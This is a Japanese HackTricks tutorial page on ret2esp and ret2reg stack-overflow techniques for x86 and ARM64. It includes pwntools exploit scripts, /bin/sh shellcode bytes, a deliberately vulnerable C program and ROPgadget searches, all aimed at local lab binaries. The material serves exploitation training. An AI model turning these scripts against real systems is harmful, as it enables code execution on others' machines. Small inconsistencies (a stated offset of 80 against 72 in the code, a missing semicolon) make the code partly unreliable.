Ret2esp / Ret2reg

Reading time: 11 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Ret2esp

ESP(スタックポインタ)が常にスタックの最上部を指しているため、この技術はEIP(命令ポインタ)を**jmp espまたはcall esp**命令のアドレスで置き換えることを含みます。これにより、シェルコードは上書きされたEIPのすぐ後に配置されます。ret命令が実行されると、ESPは次のアドレスを指し、正確にシェルコードが格納されている場所になります。

**アドレス空間配置のランダム化(ASLR)**がWindowsやLinuxで有効でない場合、共有ライブラリに見つかるjmp espまたはcall esp命令を使用することが可能です。しかし、ASLRが有効な場合、これらの命令を見つけるために脆弱なプログラム自体を調べる必要があるかもしれません(そして、PIEを打破する必要があるかもしれません)。

さらに、シェルコードをEIPの破損後に配置できることは、関数の操作中に実行されるpushpop命令がシェルコードに干渉しないことを保証します。この干渉は、シェルコードが関数のスタックの中間に配置されている場合に発生する可能性があります。

スペースが不足している場合

RIPを上書きした後に書き込むスペースが不足している場合(おそらく数バイトだけ)、初期の**jmp**シェルコードを次のように書きます:

armasm
sub rsp, 0x30
jmp rsp

スタックの早い段階にシェルコードを書きます。

この技術の例はhttps://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rspにあり、最終的なエクスプロイトは次のようになります:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

この技術の別の例はhttps://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.htmlで見ることができます。NXが有効でないバッファオーバーフローがあり、$espのアドレスを減少させるためにガジェットが使用され、その後shellcodeにジャンプするためにjmp esp;が使われます:

python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

同様に、関数がシェルコードが格納されているアドレスを返すことがわかっている場合、call eax または jmp eax 命令(ret2eax テクニックとして知られる)を利用して、シェルコードを実行する別の方法を提供できます。eaxと同様に、興味深いアドレスを含む他のレジスタも使用できます(ret2reg)。

いくつかの例はここにあります:

ARM64

Ret2sp

ARM64 では、SP レジスタにジャンプする命令は存在しませんsp をレジスタに移動し、そのレジスタにジャンプするガジェットを見つけることができるかもしれませんが、私の Kali の libc ではそのようなガジェットを見つけることができませんでした:

bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

私が発見した唯一のものは、spがジャンプする前にコピーされたレジストリの値を変更するものでした(そのため、それは無意味になります):

Ret2reg

もしレジストリに興味深いアドレスがあれば、適切な命令を見つけることでそこにジャンプすることが可能です。あなたは次のようなものを使用できます:

bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

ARM64では、**x0**が関数の戻り値を格納します。したがって、x0がユーザーによって制御されるバッファのアドレスを格納している可能性があり、そのバッファには実行するシェルコードが含まれています。

Example code:

c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

関数の逆アセンブルを確認すると、バッファへのアドレス(bofに対して脆弱であり、ユーザーによって制御される)が、バッファオーバーフローから戻る前に**x0に格納されている**ことがわかります:

また、**do_stuff関数内にbr x0**というガジェットが見つかります:

バイナリがPIEなしでコンパイルされているため、そのガジェットをジャンプするために使用します。パターンを使用すると、バッファオーバーフローのオフセットは80であることがわかるので、エクスプロイトは次のようになります:

python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

warning

もし fgets の代わりに read のようなものが使用されていた場合、戻りアドレスの最後の2バイトだけを上書きすることで PIEをバイパスすることが可能であり、完全なアドレスを知る必要はありませんでした。
fgets では、最後にヌル (0x00) バイトを追加するため、うまくいきません。

Protections

  • NX: スタックが実行可能でない場合、シェルコードをスタックに配置して実行するためには役に立ちません。
  • ASLR & PIE: これらは esp や他のレジスタにジャンプする命令を見つけるのを難しくする可能性があります。

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする